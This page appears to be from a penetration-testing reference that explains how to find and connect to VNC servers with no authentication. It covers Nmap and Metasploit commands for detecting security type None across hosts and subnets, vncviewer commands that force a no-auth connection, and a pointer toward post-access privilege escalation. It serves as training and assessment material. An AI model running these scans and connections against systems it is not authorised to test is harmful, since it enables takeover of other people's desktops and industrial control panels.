# VNC Unauthenticated Access – No-Auth Desktop Access

- **URL:** https://hackindex.io/services/vnc/exploitation/unauthenticated-access
- **Path:** VNC > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/vnc/exploitation.md)
- **Published:** 2026-03-12
- **Updated:** 2026-03-12

Some VNC servers are configured with no authentication: security type `None`: meaning any client can connect and take full control of the desktop without a password. This is distinct from brute forcing a weak password: there is no credential exchange at all. Common on internal tools, development machines, industrial systems, and misconfigured servers exposed on non-standard ports.

Where unauthenticated VNC commonly appears:

- Development and staging machines with security type None
- Industrial control systems and SCADA HMI panels
- KVM-over-IP devices with default configurations
- Docker containers or cloud instances with VNC exposed without auth

## VNC unauthenticated access detection with Nmap

```bash
nmap -p 5900 --script vnc-info $TARGET_IP
# 5900/tcp open  vnc
# | vnc-info:
# |   Protocol version: 3.8
# |   Security types:
# |_    None (1)
```

`None (1)` or `Security types: None` confirms no authentication is required.

Scan a subnet for any VNC server accepting no-auth connections:

```bash
nmap -p 5900-5910 --script vnc-info $TARGET_IP/24 | grep -B5 "None"
```

## Detecting with Metasploit

> [!WARNING]
> This may be restricted in exams such as OSCP. Verify exam rules before use.

```bash
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS $TARGET_IP
set PORTS 5900-5910
run
# [+] 10.10.10.10:5900 - VNC server security type is None, access without authentication!
```

## Connecting Directly

Connect with vncviewer: press Enter without typing a password when prompted, or the connection completes automatically:

```bash
vncviewer $TARGET_IP:5900
```

Explicitly request None security type if the client does not try it automatically:

```bash
vncviewer --SecurityTypes None $TARGET_IP:5900
```

With xtigervncviewer:

```bash
xtigervncviewer -SecurityTypes None $TARGET_IP:5900
```

## Non-Standard Ports

No-auth VNC is frequently found on non-standard ports on internal networks. If you found an open port in the 5900-5910 range, probe it directly:

```bash
nmap -p $PORT --script vnc-info $TARGET_IP
vncviewer $TARGET_IP:$PORT
```

## What You Get

A successful connection gives a full graphical desktop session as the user running the VNC server: typically the logged-in interactive user. From the desktop, open a terminal and proceed with local enumeration and privilege escalation as needed.

On Linux, right-click the desktop for a terminal option or use keyboard shortcuts. On Windows, right-click the taskbar or use the Run dialog (`Win+R`).

## References

- [vnc-info](https://nmap.org/nsedoc/scripts/vnc-info.html) - NSE Script – Nmap Script documentation for VNC security type detection.